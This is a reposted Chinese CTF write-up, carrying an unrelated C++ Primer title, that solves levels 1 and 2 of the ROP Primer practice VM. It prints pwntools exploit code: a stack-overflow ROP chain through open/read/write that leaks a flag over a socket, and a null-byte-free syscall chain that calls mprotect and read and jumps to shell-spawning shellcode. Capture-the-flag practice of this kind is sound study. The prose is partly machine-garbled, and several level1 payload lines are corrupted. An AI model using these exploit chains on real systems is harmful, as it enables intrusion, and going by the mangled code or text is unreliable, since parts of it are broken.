首页 > 编程知识 正文

primer,c++primer第五版

时间:2023-05-05 18:53:58 阅读:170163 作者:1363

0x00简介

你好,我最近在复习关于Linux Pwn的事情。 偶然看到大人物的文章,就解决Rop Primer靶机中0级问题的流程进行了说明。 发现该靶机有一级和二级两个练习,以口渴的学习态度,研究了这两个练习。 我想和大家一起学习提高。

0x01 Rop高手:芋头式level1

0x00文件分析

首先根据主题提示,用level1账号和密码shodan登录目标机,查看文件flag和level1的相关信息。

level1是一个动态链接的32位程序,打开了NX保护。

在中直接运行level程序时,发现它呈现了error bind () ing。 ltrace查看后发现bind返回了-1,这表明地址绑定没有成功。

从本地端口和进程信息来看,8888端口始终处于监听状态,属于第2级用户。

nc以前推测此端口上正在运行第2级用户的第1级程序。

看看主题本身,通过对主题的描述,从程序的源代码中找到漏洞所在。 出现漏洞的原因是对char filename[32]执行了以下操作,而变量filesize由用户输入,从而导致溢出。

出题者提示通过level1二进制的open/read/write函数获得标志。 顺藤摸瓜,在这里思考处理流程是很自然的

偏移计算,溢出

运行open并打开标志文件

读取标志文件的内容

write导出标志

0x01 Rop的准备

计算溢出偏移,通过gdb调试计算偏移64字节

(注意:如果在ida中看到filename位于ebp0x3c的位置,则控制的eip偏移估计为0x3c 4=44字节,这是不准确的。 )

继续执行以下操作,首先找到level1 plt表中的open/read/write地址。

接下来,找到level1的标志字符串。

最后,收集第1级构件。

至此,rop准备完毕。 每个变量都包括:

open_addr=0x80486d0

read_addr=0x8048640

write_addr=0x8048700

flag_addr=0x8049128

pop3_ret_addr=0x08048ef6

pop2_ret_addr=0x08048ef7

buf_addr=0x0804a000

0x02布局payload取标志

open/read/write函数的执行流程如下。

open('flag ',0 ) ) ) ) ) ) ) ) ) )。

read(file_FD,buf_addr,0x80 ) ) ) ) ) ) )。

write(socket_FD,buf_addr,0x80 ) ) )。

做到这里,我有点困惑。 Unix/Linux的一个重要思想是所有的文件,这里的file_fd和socket_fd的数值是多少? 既然不知道,就追踪调试一下吧。 在此直接访问strace工具,从下图可以观察到file_descriptor的值为3,socket_descriptor的值为4。

然后,布局payload应如下所示:

#open('flag),0 ) ) ) ) ) ) ) ) ) ) ) )。

payload='A'*64

payload=P32(open_addr ) )。

payload=P32(pop2_ret_addr ) )。

payload=P32(flag_addr ) )。

payload=P32(0)

#read(file_FD,buf_addr,0x80 ) ) ) ) ) ) ) ) ) )。

payload=P32(read_addr ) )。

payload=P32(pop3_ret_addr ) )。

payload=P32(3) # file_fd

payload=P32(buf_addr ) )。

payload=P32(0x80 ) )。

#write(socket_FD,buf_addr,0x80 ) ) ) ) ) ) ) )。

payload=P32(write_addr ) ) ) ) ) ) ) ) ) ) ) payload=P32(write_addr ) ) ) ) ) ) ) ) ) payload ) ) ) ) 652 )

payload += "BBBB"

payload += p32(4) # socket_fd

payload += p32(buf_addr)

payload += p32(0x80)

最后,通过交互,成功拿到flag。

p = remote("192.168.88.135",8888)

p.recvuntil("> ")

p.sendline("store")

p.recvuntil("> ")

p.sendline(str(len(payload)+1))

p.recvuntil("> ")

p.sendline("payload")

p.recvuntil("> ")

p.sendline(payload)

print p.recvline()

0x02 Rop提高:no null byte 的 level2

0x00 文件分析

同理,以 level2 和 tryharder 登录靶机,

查看文件信息。level2 为静态链接文件,开了NX保护。

查看题目说明,显然 strcpy 操作会导致变量 name 溢出,gdb调试查看溢出偏移为 44 个字节。

此题需要注意的是,由于是 strcpy 函数,在拷贝时会以 0x00 字节为结束符。这就提示我们,当我们打入的 payload 中间含有 0x00 字符时,其后的 payload 则不会顺利拷贝,从而导致无法正常执行获取shell 。

解题思路:参考大佬的文章中解 level0 的mprotect和read相配合的思想。

修改数据段权限

读入精心构造的shell,

跳转到shell处执行。

注意,由于 0x00 的约束,level0直接调用函数的解题方式无法奏效,因此此题采用系统调用(int 0x80)的方式来实现第一步和第二步的操作。根据提示,我们可以通过 ropshell网站 来搜索二进制文件内我们所需的gadget。

0x01 sys_mprotect 修改 .data 权限

查看 sys_mprotect 信息

由此,我们要布局的 payload 应完成如下的功能

edx = 0x7

ecx = 0x40

ebx = 0x80ca000

eax = 0x7d

实现 edx=0x7 的思想:在栈上放 0xffffffff,而后 pop edx,再通过8次 inc edx即可。

网站查询到所需的gadget如下:

实现 edx=0x7 的payload布局如下:

payload1 += pack(0x0000a476) #pop edx ; ret

payload1 += p32(0xffffffff)

payload1 += pack(0x00006da1) #inc edx; add al, 0x83; ret

payload1 += pack(0x00006da1)

payload1 += pack(0x00006da1)

payload1 += pack(0x00006da1)

payload1 += pack(0x00006da1)

payload1 += pack(0x00006da1)

payload1 += pack(0x00006da1)

payload1 += pack(0x00006da1)

实现 ecx=0x40 的思想同上即可。所需的gadget信息如下:

实现 ecx=0x40 的payload布局如下:

payload1 += pack(0x0000a49d)# pop ecx; pop ebx; ret

payload1 += p32(0xffffffff) # ecx

payload1 += p32(0x80ca001) # 0x804a000+1 -> ebx

payload1 += pack(0x000806db) #inc ecx; ret

payload1 += pack(0x000806db)

payload1 += pack(0x0004fd5a) #add ecx, ecx; ret

payload1 += pack(0x0004fd5a)

payload1 += pack(0x0004fd5a)

payload1 += pack(0x0004fd5a)

payload1 += pack(0x0004fd5a)

payload1 += pack(0x0004fd5a)

为实现ebx = 0x80ca000的操作,上述gadget已完成 0x80ca001 pop -> ebx ,只需再执行一次下面的gadget即可:

payload1 += pack(0x00007871) #dec ebx; ret

实现 eax=0x7d 同样可利用 pop ; inc ; dec 组合操作实现

payload1 += pack(0x000601d6) #pop eax; ret

payload1 += p32(0xffffffff)

payload1 += pack(0x0002321e) #add eax, ecx; ret

payload1 += pack(0x0002321e)

payload1 += pack(0x000600c6) #dec eax; ret

payload1 += pack(0x000600c6)

至此,通过 int 0x80 即可实现 sys_mprotect 操作。

0x02 sys_read 实现读取 shellcode

整体流程同上,首先查看 sys_read 信息,

由此,我们要布局的 payload 应完成如下的功能

edx = 0x01010101 # not 0x00

ecx = 0x80ca000

ebx = 0

eax = 0x3

利用ropshell网站查询所需gadget,整体流程同 0x02章节,在此不再赘述。payload布局如下:

#2-1 edx

payload1 += p32(0x08052476) #pop edx ; ret

payload1 += p32(0x01010101)

#2-2 ecx

payload1 += pack(0x0000a49d) # pop ecx; pop ebx; ret

payload1 += p32(0x80ca001)

payload1 += p32(0xffffffff)

payload1 += pack(0x000008e9) # dec ecx; ret

#2-3 ebx

payload1 += pack(0x000806d1) # inc ebx; ret

#2-4 eax

payload1 += pack(0x000601d6) # pop eax; ret

payload1 += p32(0xffffffff)

payload1 += pack(0x000222ef) # inc eax; ret

payload1 += pack(0x000222ef)

payload1 += pack(0x000222ef)

payload1 += pack(0x000222ef)

payload1 += pack(0x0000aba0) # int 0x80; ret

0x03 跳转到shellcode 执行拿flag

上述两步执行完成后,读取shellcode存储在 0x80ca000 处,即 sys_read 执行完的 ecx 地址处,因此在 payload 的最后,加上如下gadget即可。

payload1 += pack(0x0005e42c) # jmp ecx

payload 保存到 payload.txt。

shellcode 直接通过 pwntools 的 asm(shellcraft.i386.linux.sh()) 直接生成,保存到shellcode.txt。

成功溢出获得shell,拿到flag.

0x04 结束语

对pwn靶机的练习,回顾了一下rop的几种操作。当然,复杂的情况还有很多,针对具体问题也要具体分析,但总之,掌握了其核心关键的知识要点,复杂的情况只要耐心细致地分析即可。以后会继续给大家带来。

祝大家学习工作顺利,盼和大家共同进步。

版权声明:该文观点仅代表作者本人。处理文章:请发送邮件至 三1五14八八95#扣扣.com 举报,一经查实,本站将立刻删除。